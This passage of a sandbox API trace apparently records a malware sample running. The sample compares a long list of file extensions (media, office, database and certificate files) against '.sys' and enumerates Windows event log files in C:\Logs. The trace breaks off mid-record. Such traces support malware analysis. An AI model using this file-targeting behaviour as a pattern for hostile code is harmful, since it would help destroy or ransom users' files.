lstrlenW (lpString=".m4v") returned 4 [0088.850] lstrcmpiW (lpString1=".m4v", lpString2=".sys") returned -1 [0088.850] lstrlenW (lpString=".max") returned 4 [0088.850] lstrcmpiW (lpString1=".max", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".md") returned 3 [0088.851] lstrcmpiW (lpString1=".md", lpString2="sys") returned -1 [0088.851] lstrlenW (lpString=".mda") returned 4 [0088.851] lstrcmpiW (lpString1=".mda", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mdb") returned 4 [0088.851] lstrcmpiW (lpString1=".mdb", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mde") returned 4 [0088.851] lstrcmpiW (lpString1=".mde", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mdf") returned 4 [0088.851] lstrcmpiW (lpString1=".mdf", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mdw") returned 4 [0088.851] lstrcmpiW (lpString1=".mdw", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mef") returned 4 [0088.851] lstrcmpiW (lpString1=".mef", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mft") returned 4 [0088.851] lstrcmpiW (lpString1=".mft", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mfw") returned 4 [0088.851] lstrcmpiW (lpString1=".mfw", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mht") returned 4 [0088.851] lstrcmpiW (lpString1=".mht", lpString2=".sys") returned -1 [0088.851] lstrlenW (lpString=".mhtml") returned 6 [0088.851] lstrcmpiW (lpString1=".mhtml", lpString2="il.sys") returned -1 [0088.851] lstrlenW (lpString=".mka") returned 4 [0088.851] lstrcmpiW (lpString1=".mka", lpString2=".sys") returned -1 [0088.852] lstrlenW (lpString=".mkidx") returned 6 [0088.853] lstrcmpiW (lpString1=".mkidx", lpString2="il.sys") returned -1 [0088.853] lstrlenW (lpString=".mkv") returned 4 [0088.853] lstrcmpiW (lpString1=".mkv", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mos") returned 4 [0088.853] lstrcmpiW (lpString1=".mos", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mov") returned 4 [0088.853] lstrcmpiW (lpString1=".mov", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mp3") returned 4 [0088.853] lstrcmpiW (lpString1=".mp3", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mp4") returned 4 [0088.853] lstrcmpiW (lpString1=".mp4", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mpeg") returned 5 [0088.853] lstrcmpiW (lpString1=".mpeg", lpString2="l.sys") returned -1 [0088.853] lstrlenW (lpString=".mpg") returned 4 [0088.853] lstrcmpiW (lpString1=".mpg", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mpv") returned 4 [0088.853] lstrcmpiW (lpString1=".mpv", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mrw") returned 4 [0088.853] lstrcmpiW (lpString1=".mrw", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".msg") returned 4 [0088.853] lstrcmpiW (lpString1=".msg", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".mxl") returned 4 [0088.853] lstrcmpiW (lpString1=".mxl", lpString2=".sys") returned -1 [0088.853] lstrlenW (lpString=".myd") returned 4 [0088.854] lstrcmpiW (lpString1=".myd", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".myi") returned 4 [0088.854] lstrcmpiW (lpString1=".myi", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".nef") returned 4 [0088.854] lstrcmpiW (lpString1=".nef", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".nrw") returned 4 [0088.854] lstrcmpiW (lpString1=".nrw", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".obj") returned 4 [0088.854] lstrcmpiW (lpString1=".obj", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".odb") returned 4 [0088.854] lstrcmpiW (lpString1=".odb", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".odc") returned 4 [0088.854] lstrcmpiW (lpString1=".odc", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".odm") returned 4 [0088.854] lstrcmpiW (lpString1=".odm", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".odp") returned 4 [0088.854] lstrcmpiW (lpString1=".odp", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".ods") returned 4 [0088.854] lstrcmpiW (lpString1=".ods", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".oft") returned 4 [0088.854] lstrcmpiW (lpString1=".oft", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".one") returned 4 [0088.854] lstrcmpiW (lpString1=".one", lpString2=".sys") returned -1 [0088.854] lstrlenW (lpString=".onepkg") returned 7 [0088.854] lstrcmpiW (lpString1=".onepkg", lpString2="fil.sys") returned -1 [0088.855] lstrlenW (lpString=".onetoc2") returned 8 [0088.855] lstrcmpiW (lpString1=".onetoc2", lpString2="rfil.sys") returned -1 [0088.855] lstrlenW (lpString=".opt") returned 4 [0088.855] lstrcmpiW (lpString1=".opt", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".oqy") returned 4 [0088.855] lstrcmpiW (lpString1=".oqy", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".orf") returned 4 [0088.855] lstrcmpiW (lpString1=".orf", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".p12") returned 4 [0088.855] lstrcmpiW (lpString1=".p12", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".p7b") returned 4 [0088.855] lstrcmpiW (lpString1=".p7b", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".p7c") returned 4 [0088.855] lstrcmpiW (lpString1=".p7c", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pam") returned 4 [0088.855] lstrcmpiW (lpString1=".pam", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pbm") returned 4 [0088.855] lstrcmpiW (lpString1=".pbm", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pct") returned 4 [0088.855] lstrcmpiW (lpString1=".pct", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pcx") returned 4 [0088.855] lstrcmpiW (lpString1=".pcx", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pdd") returned 4 [0088.855] lstrcmpiW (lpString1=".pdd", lpString2=".sys") returned -1 [0088.855] lstrlenW (lpString=".pdf") returned 4 [0088.855] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pdp") returned 4 [0088.856] lstrcmpiW (lpString1=".pdp", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pef") returned 4 [0088.856] lstrcmpiW (lpString1=".pef", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pem") returned 4 [0088.856] lstrcmpiW (lpString1=".pem", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pff") returned 4 [0088.856] lstrcmpiW (lpString1=".pff", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pfm") returned 4 [0088.856] lstrcmpiW (lpString1=".pfm", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pfx") returned 4 [0088.856] lstrcmpiW (lpString1=".pfx", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".pgm") returned 4 [0088.856] lstrcmpiW (lpString1=".pgm", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".php") returned 4 [0088.856] lstrcmpiW (lpString1=".php", lpString2=".sys") returned -1 [0088.856] lstrlenW (lpString=".php3") returned 5 [0088.856] lstrcmpiW (lpString1=".php3", lpString2="l.sys") returned -1 [0088.856] lstrlenW (lpString=".php4") returned 5 [0088.856] lstrcmpiW (lpString1=".php4", lpString2="l.sys") returned -1 [0088.856] lstrlenW (lpString=".php5") returned 5 [0088.856] lstrcmpiW (lpString1=".php5", lpString2="l.sys") returned -1 [0088.856] lstrlenW (lpString=".phtml") returned 6 [0088.856] lstrcmpiW (lpString1=".phtml", lpString2="il.sys") returned -1 [0088.856] lstrlenW (lpString=".pict") returned 5 [0088.857] lstrcmpiW (lpString1=".pict", lpString2="l.sys") returned -1 [0088.857] lstrlenW (lpString=".pl") returned 3 [0088.857] lstrcmpiW (lpString1=".pl", lpString2="sys") returned -1 [0088.857] lstrlenW (lpString=".pls") returned 4 [0088.857] lstrcmpiW (lpString1=".pls", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".pm") returned 3 [0088.857] lstrcmpiW (lpString1=".pm", lpString2="sys") returned -1 [0088.857] lstrlenW (lpString=".png") returned 4 [0088.857] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".pnm") returned 4 [0088.857] lstrcmpiW (lpString1=".pnm", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".pot") returned 4 [0088.857] lstrcmpiW (lpString1=".pot", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".potm") returned 5 [0088.857] lstrcmpiW (lpString1=".potm", lpString2="l.sys") returned -1 [0088.857] lstrlenW (lpString=".potx") returned 5 [0088.857] lstrcmpiW (lpString1=".potx", lpString2="l.sys") returned -1 [0088.857] lstrlenW (lpString=".ppa") returned 4 [0088.857] lstrcmpiW (lpString1=".ppa", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".ppam") returned 5 [0088.857] lstrcmpiW (lpString1=".ppam", lpString2="l.sys") returned -1 [0088.857] lstrlenW (lpString=".ppm") returned 4 [0088.857] lstrcmpiW (lpString1=".ppm", lpString2=".sys") returned -1 [0088.857] lstrlenW (lpString=".pps") returned 4 [0088.858] lstrcmpiW (lpString1=".pps", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".ppsm") returned 5 [0088.858] lstrcmpiW (lpString1=".ppsm", lpString2="l.sys") returned -1 [0088.858] lstrlenW (lpString=".ppt") returned 4 [0088.858] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".pptm") returned 5 [0088.858] lstrcmpiW (lpString1=".pptm", lpString2="l.sys") returned -1 [0088.858] lstrlenW (lpString=".pptx") returned 5 [0088.858] lstrcmpiW (lpString1=".pptx", lpString2="l.sys") returned -1 [0088.858] lstrlenW (lpString=".prn") returned 4 [0088.858] lstrcmpiW (lpString1=".prn", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".ps") returned 3 [0088.858] lstrcmpiW (lpString1=".ps", lpString2="sys") returned -1 [0088.858] lstrlenW (lpString=".psb") returned 4 [0088.858] lstrcmpiW (lpString1=".psb", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".psd") returned 4 [0088.858] lstrcmpiW (lpString1=".psd", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".pst") returned 4 [0088.858] lstrcmpiW (lpString1=".pst", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".ptx") returned 4 [0088.858] lstrcmpiW (lpString1=".ptx", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".pub") returned 4 [0088.858] lstrcmpiW (lpString1=".pub", lpString2=".sys") returned -1 [0088.858] lstrlenW (lpString=".pwm") returned 4 [0088.858] lstrcmpiW (lpString1=".pwm", lpString2=".sys") returned -1 [0088.859] lstrlenW (lpString=".pxr") returned 4 [0088.859] lstrcmpiW (lpString1=".pxr", lpString2=".sys") returned -1 [0088.859] lstrlenW (lpString=".py") returned 3 [0088.859] lstrcmpiW (lpString1=".py", lpString2="sys") returned -1 [0088.859] lstrlenW (lpString=".qt") returned 3 [0088.859] lstrcmpiW (lpString1=".qt", lpString2="sys") returned -1 [0088.859] FindNextFileW (in: hFindFile=0x459c20, lpFindFileData=0x2d2fcf8 | out: lpFindFileData=0x2d2fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0088.859] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35b0050 [0088.860] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4260750 [0088.864] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1 [0088.871] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1 [0088.872] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0088.873] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0088.874] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0088.875] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0088.875] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0088.875] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, 